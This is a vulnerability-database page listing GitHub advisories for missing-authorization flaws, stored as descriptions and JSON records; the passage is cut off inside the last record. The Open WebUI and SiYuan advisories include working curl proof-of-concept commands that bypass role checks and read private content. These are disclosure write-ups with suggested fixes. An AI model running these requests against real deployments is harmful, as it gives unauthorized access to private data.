CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
19696 vulnerabilities reference this CWE, most recent first.
GHSA-4VFC-PMP7-JC82
Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36Missing Authorization vulnerability in nK Lazy Blocks allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Lazy Blocks: from n/a through 4.1.0.
{
"affected": [],
"aliases": [
"CVE-2025-58258"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-22T19:16:12Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in nK Lazy Blocks allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Lazy Blocks: from n/a through 4.1.0.",
"id": "GHSA-4vfc-pmp7-jc82",
"modified": "2026-04-01T18:36:15Z",
"published": "2025-09-22T21:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58258"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/lazy-blocks/vulnerability/wordpress-lazy-blocks-plugin-4-1-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4VG5-RP28-GVJF
Vulnerability from github – Published: 2026-05-08 22:34 – Updated: 2026-05-19 15:57CONFIDENTIAL
Vulnerability Disclosure Analysis Documentation
Vulnerability Details
| # | Field | Value |
|---|---|---|
| 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. |
| 2 | Date Submitted | June 11, 2024 |
| 3 | Title | Open WebUI Improper Authorization Control |
| 5 | Affected Vendor | Open WebUI |
| 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) |
| 7 | Affected Version(s) | 0.1.105 |
| 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) |
| 9 | Vector | HTTP web interface |
| 10 | CWE | 285 Improper Authorization |
4. High-level Summary
There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.
11. Technical Analysis
The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.
Request
POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60
{
"name": "",
"email": "bad_guy@korelogic.com",
"password": "a"
}
Response
HTTP/1.1 200 OK
...
{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "bad_guy@korelogic.com",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token_type": "Bearer"
}
An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.
With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.
Request
GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs
Response
HTTP/1.1 200 OK
...
{
"models": [
{
"name": "ollama.com/emsi/mixtral-8x22b:latest",
"model": "ollama.com/emsi/mixtral-8x22b:latest",
"modified_at": "2024-04-12T17:27:51.479356401-04:00",
"size": 79509285991,
"digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
"details": {
"parent_model": "",
"format": "gguf",
"family": "llama",
"families": ["llama"],
"parameter_size": "141B",
"quantization_level": "Q4_0"
},
"urls": [0]
},
...
]
}
The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180
As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.
@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
url_idx: Optional[int] = None, user=Depends(get_current_user)
):
if url_idx == None:
models = await get_all_models()
if app.state.MODEL_FILTER_ENABLED:
if user.role == "user":
models["models"] = list(
filter(
lambda model: model["name"] in app.state.MODEL_FILTER_LIST,
models["models"],
)
)
return models
return models
This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.
The vulnerability is caused by a missing authorization check that occurs with user=Depends(get_current_user). The logic of that function is found here:
https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97
def get_current_user(
auth_token: HTTPAuthorizationCredentials = Depends(bearer_security),
):
# auth by api key
if auth_token.credentials.startswith("sk-"):
return get_current_user_by_api_key(auth_token.credentials)
# auth by jwt token
data = decode_token(auth_token.credentials)
if data != None and "id" in data:
user = Users.get_user_by_id(data["id"])
if user is None:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.INVALID_TOKEN,
)
return user
else:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.
12. Proof-of-Concept
First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:
curl -s -X $'GET' \
-H $'Host: openwebui.example.com' \
-H $'Content-Type: application/json' \
$'https://openwebui.example.com/ollama/api/tags'
The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.
Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.
export JWT=$(curl -s -X POST \
-H 'Host: openwebui.example.com' -H 'Content-Length: 60' \
-H 'Content-Type: application/json' \
--data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \
'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')
curl -v $'GET' \
-H $'Host: openwebui.example.com' \
-H $'Content-Type: application/json' \
-H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'https://openwebui.example.com/ollama/api/tags'
Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.
13. Mitigation Recommendation
The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116 for the correct function to use.
def get_verified_user(user=Depends(get_current_user)):
if user.role not in {"user", "admin"}:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
return user
Modify all authenticated endpoints to utilize get_verified_user() function instead of get_current_user().
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.123"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.124"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44567"
],
"database_specific": {
"cwe_ids": [
"CWE-602",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:34:12Z",
"nvd_published_at": "2026-05-15T22:16:53Z",
"severity": "HIGH"
},
"details": "# **CONFIDENTIAL**\n\n# Vulnerability Disclosure Analysis Documentation\n\n---\n\n## Vulnerability Details\n\n| # | Field | Value |\n|---|-------|-------|\n| 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. |\n| 2 | **Date Submitted** | June 11, 2024 |\n| 3 | **Title** | Open WebUI Improper Authorization Control |\n| 5 | **Affected Vendor** | Open WebUI |\n| 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) |\n| 7 | **Affected Version(s)** | 0.1.105 |\n| 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) |\n| 9 | **Vector** | HTTP web interface |\n| 10 | **CWE** | 285 Improper Authorization |\n\n---\n\n## 4. High-level Summary\n\nThere is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context.\n\n---\n\n## 11. Technical Analysis\n\nThe Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`.\n\n### Request\n\n```http\nPOST /api/v1/auths/signup HTTP/1.1\nHost: openwebui.example.com\nContent-Length: 60\n\n{ \n \"name\": \"\", \n \"email\": \"bad_guy@korelogic.com\", \n \"password\": \"a\" \n }\n```\n\n### Response\n\n```http\nHTTP/1.1 200 OK\n...\n\n{\n\"id\": \"f839557a-031a-47a5-9999-0b0998f8f959\",\n\"email\": \"bad_guy@korelogic.com\",\n\"name\": \"\",\n\"role\": \"pending\",\n\"profile_image_url\": \"/user.png\",\n\"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs\",\n\"token_type\": \"Bearer\"\n}\n```\n\nAn attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.\n\nWith the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response.\n\n### Request\n\n```http\nGET /ollama/api/tags HTTP/1.1\nHost: openwebui.example.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs\n```\n\n### Response\n\n```http\nHTTP/1.1 200 OK\n...\n\n{\n\"models\": [\n {\n \"name\": \"ollama.com/emsi/mixtral-8x22b:latest\",\n \"model\": \"ollama.com/emsi/mixtral-8x22b:latest\",\n \"modified_at\": \"2024-04-12T17:27:51.479356401-04:00\",\n \"size\": 79509285991,\n \"digest\": \"9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319\",\n \"details\": {\n \"parent_model\": \"\",\n \"format\": \"gguf\",\n \"family\": \"llama\",\n \"families\": [\"llama\"],\n \"parameter_size\": \"141B\",\n \"quantization_level\": \"Q4_0\"\n },\n \"urls\": [0]\n },\n ...\n]\n}\n```\n\nThe logic for this endpoint can be seen here:\n\u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180\u003e\n\nAs shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user.\n\n```python\n@app.get(\"/api/tags\")\n@app.get(\"/api/tags/{url_idx}\")\nasync def get_ollama_tags(\n url_idx: Optional[int] = None, user=Depends(get_current_user)\n):\n if url_idx == None:\n models = await get_all_models()\n \n if app.state.MODEL_FILTER_ENABLED:\n if user.role == \"user\":\n models[\"models\"] = list(\n filter(\n lambda model: model[\"name\"] in app.state.MODEL_FILTER_LIST,\n models[\"models\"],\n )\n )\n return models\n return models\n```\n\nThis is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.\n\nThe vulnerability is caused by a missing authorization check that occurs with `user=Depends(get_current_user)`. The logic of that function is found here:\n\u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97\u003e\n\n```python\ndef get_current_user(\nauth_token: HTTPAuthorizationCredentials = Depends(bearer_security),\n):\n # auth by api key\n if auth_token.credentials.startswith(\"sk-\"):\n return get_current_user_by_api_key(auth_token.credentials)\n # auth by jwt token\n data = decode_token(auth_token.credentials)\n if data != None and \"id\" in data:\n user = Users.get_user_by_id(data[\"id\"])\n if user is None:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.INVALID_TOKEN,\n )\n return user\n else:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n```\n\nAs shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.\n\n---\n\n## 12. Proof-of-Concept\n\nFirst, verify that an unauthenticated user receives `{\"detail\":\"401 Unauthorized\"}`:\n\n```bash\ncurl -s -X $\u0027GET\u0027 \\\n -H $\u0027Host: openwebui.example.com\u0027 \\\n -H $\u0027Content-Type: application/json\u0027 \\\n $\u0027https://openwebui.example.com/ollama/api/tags\u0027\n```\n\nThe above curl command will return: `{\"detail\":\"401 Unauthorized\"}` as no Authorization Bearer token is provided.\n\nNow to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the `$JWT` environment variable which will be utilized in the subsequent cURL command.\n\n```bash\nexport JWT=$(curl -s -X POST \\\n -H \u0027Host: openwebui.example.com\u0027 -H \u0027Content-Length: 60\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"name\":\"\",\"email\":\"bad_guy@korelogic.com\",\"password\":\"a\"}\u0027 \\\n \u0027https://openwebui.example.com/api/v1/auths/signup\u0027 | jq \u0027.token\u0027|tr -d \u0027\"\u0027)\n\ncurl -v $\u0027GET\u0027 \\\n -H $\u0027Host: openwebui.example.com\u0027 \\\n -H $\u0027Content-Type: application/json\u0027 \\\n -H $\u0027Authorization: Bearer ${JWT}\u0027 -H $\u0027Content-Length: 2\u0027 \\\n --data-binary $\u0027\\x0d\\x0a\u0027 \\\n $\u0027https://openwebui.example.com/ollama/api/tags\u0027\n```\n\nAdditionally the `\"role\":\"pending\"` value in the HTTP response can be forged from `POST /api/v1/auths/signin` and `GET /api/v1/auths/` to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying `pending` to `user`.\n\n---\n\n## 13. Mitigation Recommendation\n\nThe application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See \u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116\u003e for the correct function to use.\n\n```python\ndef get_verified_user(user=Depends(get_current_user)):\nif user.role not in {\"user\", \"admin\"}:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n )\nreturn user\n```\n\nModify all authenticated endpoints to utilize `get_verified_user()` function instead of `get_current_user()`.",
"id": "GHSA-4vg5-rp28-gvjf",
"modified": "2026-05-19T15:57:37Z",
"published": "2026-05-08T22:34:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4vg5-rp28-gvjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44567"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has Improper Authorization Control"
}
GHSA-4VHC-RH4W-546J
Vulnerability from github – Published: 2025-08-06 03:30 – Updated: 2025-08-06 03:30Vulnerability that allows setting screen rotation direction without permission verification in the screen management module. Impact: Successful exploitation of this vulnerability may cause device screen orientation to be arbitrarily set.
{
"affected": [],
"aliases": [
"CVE-2025-54608"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T02:15:46Z",
"severity": "MODERATE"
},
"details": "Vulnerability that allows setting screen rotation direction without permission verification in the screen management module.\nImpact: Successful exploitation of this vulnerability may cause device screen orientation to be arbitrarily set.",
"id": "GHSA-4vhc-rh4w-546j",
"modified": "2025-08-06T03:30:24Z",
"published": "2025-08-06T03:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54608"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2025/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4VHF-2FV2-GGW8
Vulnerability from github – Published: 2025-10-15 09:30 – Updated: 2026-04-08 18:33The WPBifröst – Instant Passwordless Temporary Login Links plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the ctl_create_link AJAX action in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new administrative user accounts and subsequently log in as those.
{
"affected": [],
"aliases": [
"CVE-2025-10299"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-15T09:15:39Z",
"severity": "HIGH"
},
"details": "The WPBifr\u00f6st \u2013 Instant Passwordless Temporary Login Links plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the ctl_create_link AJAX action in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new administrative user accounts and subsequently log in as those.",
"id": "GHSA-4vhf-2fv2-ggw8",
"modified": "2026-04-08T18:33:57Z",
"published": "2025-10-15T09:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10299"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3379010%40create-temporary-login\u0026new=3379010%40create-temporary-login\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/create-temporary-login"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/50946bc7-8d31-4376-bdcc-de7aad700503?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4VHQ-HX4H-M998
Vulnerability from github – Published: 2026-08-22 15:31 – Updated: 2026-08-22 15:31The Post Duplicator plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the duplicate_post() function in all versions up to, and including, 3.0.11. This is due to the function not verifying that the user has edit_others_posts capability before accepting a selectedAuthorId parameter via the duplicate-post REST endpoint. This makes it possible for authenticated attackers, with Contributor-level access and above, to create duplicated posts attributed to any user, including administrators.
{
"affected": [],
"aliases": [
"CVE-2026-4244"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-22T13:16:37Z",
"severity": "MODERATE"
},
"details": "The Post Duplicator plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `duplicate_post()` function in all versions up to, and including, 3.0.11. This is due to the function not verifying that the user has `edit_others_posts` capability before accepting a `selectedAuthorId` parameter via the `duplicate-post` REST endpoint. This makes it possible for authenticated attackers, with Contributor-level access and above, to create duplicated posts attributed to any user, including administrators.",
"id": "GHSA-4vhq-hx4h-m998",
"modified": "2026-08-22T15:31:01Z",
"published": "2026-08-22T15:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4244"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/post-duplicator/trunk/includes/api.php#L520"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/post-duplicator/trunk/includes/api.php#L550"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/post-duplicator/trunk/includes/api.php#L728"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3485579"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/64553742-ff2b-40e9-92c3-3458a9f988a2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4VHW-QW9W-P438
Vulnerability from github – Published: 2023-10-08 06:30 – Updated: 2024-04-04 08:24In Messaging, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed
{
"affected": [],
"aliases": [
"CVE-2023-40646"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-08T04:15:57Z",
"severity": "MODERATE"
},
"details": "In Messaging, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges needed",
"id": "GHSA-4vhw-qw9w-p438",
"modified": "2024-04-04T08:24:56Z",
"published": "2023-10-08T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40646"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1707266966118531074"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4VJ8-CJ7H-J8RX
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31Missing Authorization vulnerability in Greg Winiarski WPAdverts wpadverts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPAdverts: from n/a through <= 2.2.11.
{
"affected": [],
"aliases": [
"CVE-2026-27092"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:28Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Greg Winiarski WPAdverts wpadverts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPAdverts: from n/a through \u003c= 2.2.11.",
"id": "GHSA-4vj8-cj7h-j8rx",
"modified": "2026-02-19T18:31:54Z",
"published": "2026-02-19T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27092"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wpadverts/vulnerability/wordpress-wpadverts-plugin-2-2-11-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4VPG-GWQQ-W44C
Vulnerability from github – Published: 2026-10-02 23:05 – Updated: 2026-10-02 23:05Same CWE-862 family, found via an automated bulk sweep of every
/api/block/* handler in kernel/api/block.go for the presence of any
access-check reference (IsReadOnlyRoleContext, checkBlockPublishAccess,
GetPublishAccess) anywhere in the function body. 17 of 28 candidate
endpoints have none. Cross-checked against the file's own sibling
functions (getBlockInfo, getBlockDOM, getRefIDs, etc.), which
correctly implement the check, confirming this is a real, uneven gap
rather than a deliberate design choice for the whole file.
Summary
17 handlers in kernel/api/block.go, all gated only by model.CheckAuth
with no admin-role requirement, return block content-derived text,
structural metadata, or existence information for any block ID supplied,
with no access check anywhere in the handler or, for the ones checked in
detail, the model functions they call. This is CWE-862 (Missing
Authorization), the same class as the companion advisories from this
review round, found in a different file via a systematic bulk check
rather than manual inspection of each function individually.
Details
Confirmed via automated extraction of every function body between
func NAME(c *gin.Context) { and the next such declaration, then
searching each for any of IsReadOnlyRoleContext,
checkBlockPublishAccess, GetPublishAccess, or PublishAccess. The
following contain none of these, at all:
| Endpoint | What it discloses |
|---|---|
getRefText |
The block's actual reference-display text, derived from its content, for any ID (kernel/api/block.go:564) |
getBlockBreadcrumb |
The block's breadcrumb/title path (:?) |
getBlockDefIDsByRefText |
Which block IDs a given reference text resolves to |
getRefIDsByFileAnnotationID |
Block IDs referencing a given PDF/file annotation |
getBlockIndex / getBlocksIndexes |
A block's position/index within its document |
getTreeStat |
Structural statistics for a document tree |
getBlocksWordCount / getContentWordCount |
Word/character counts for arbitrary content |
checkBlockExist / checkBlocksExist |
Existence oracle for any block ID |
getUnfoldedParentID |
The nearest unfolded ancestor of a block |
checkBlockFold |
Whether a block is currently folded |
getBlockSiblingID |
A block's sibling in document order |
getBlockRelevantIDs |
IDs of blocks related to a given block |
getBlockTreeInfos |
Block tree metadata for a set of IDs |
checkBlockRef |
Whether a block is referenced elsewhere |
The clearest, most severe example, getRefText
(POST /api/block/getRefText, kernel/api/router.go:238):
func getRefText(c *gin.Context) {
...
id := arg["id"].(string)
if util.InvalidIDPattern(id, ret) {
return
}
var refText string
if notebook, ok := arg["notebook"].(string); ok && notebook != "" && model.IsEncryptedBox(notebook) {
refText = model.GetBlockRefTextInBox(id, notebook)
} else {
refText = model.GetBlockRefText(id)
}
...
ret.Data = refText
}
model.GetBlockRefText(id) resolves the actual display text used
wherever this block is referenced, ordinarily derived from the block's
real content, for any id in the workspace, with no scoping.
For contrast, sibling functions in the same file correctly implement
the check, e.g. getRefIDs (kernel/api/router.go:235) and
getBlockInfo/getBlockDOM/getBlockKramdown all contain
if model.IsReadOnlyRoleContext(c) { ... } guards. This confirms the
17 above are an inconsistency within the file, not an intentional
decision that the whole file is exempt from this control.
Step-by-step reproduction
# id: a block inside a document that was never published, or is
# Disable=true in publish access
curl -s -X POST http://<target>:6806/api/block/getRefText \
-H "Content-Type: application/json" -d '{"id":"<private-block-id>"}'
# Returns the block's actual reference text with no session, no
# AccessAuthCode, no publish password.
curl -s -X POST http://<target>:6806/api/block/checkBlockExist \
-H "Content-Type: application/json" -d '{"id":"<guessed-block-id>"}'
# Confirms or denies existence of any guessed ID workspace-wide.
Repeat against any of the other 15 endpoints in the table above, substituting their expected arguments, each returns data with no access check.
Impact
Any published SiYuan workspace discloses block-level content-derived
text, structural metadata, and existence information for the entire
workspace, not just published notebooks, to any anonymous internet
visitor. getRefText in particular discloses real content text, not
just metadata, for any block ID. The existence-oracle endpoints
(checkBlockExist/checkBlockRef) combine with the companion
advisory's getIDsByHPath title-guessing primitive to let an attacker
efficiently probe for and confirm private content without ever needing
legitimate access.
```
Affected products
| Field | Value |
|---|---|
| Ecosystem | Go |
| Package name | github.com/siyuan-note/siyuan/kernel |
| Affected versions | Present at current HEAD (commit eef1056/1673b75, reviewed 2026-08-03) |
| Patched versions | (none yet, leave blank until a fix is released) |
Severity
| Field | Value |
|---|---|
| Vector string | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Score | 7.5 (High). Network vector, low complexity, no privileges or user interaction required, high confidentiality impact via getRefText's real content-text disclosure plus the combined structural/existence oracle from the other 16, no integrity/availability impact since all 17 are read-only. |
Weaknesses (CWE)
- CWE-862: Missing Authorization (primary)
- CWE-204: Observable Response Discrepancy (contributing, via the existence-oracle endpoints)
Notes for filing
- Same CWE-862 family as the two companion advisories from this review
round (asset/attribute-view listing, and path/title resolution).
Recommend the maintainers treat all three as one remediation pass:
grep every
/api/*handler for the literal presence ofIsReadOnlyRoleContextand manually audit every one that lacks it, rather than fixing endpoint-by-endpoint, since the pattern has now recurred across three separate files. - Suggested fix: add
if model.IsReadOnlyRoleContext(c) { ... }guards matching the pattern already correctly used by this file's owngetBlockInfo/getBlockDOM/getRefIDsfunctions.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260804015139-bd067a4fe9b2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-74904"
],
"database_specific": {
"cwe_ids": [
"CWE-204",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T23:05:33Z",
"nvd_published_at": null,
"severity": "HIGH"
},
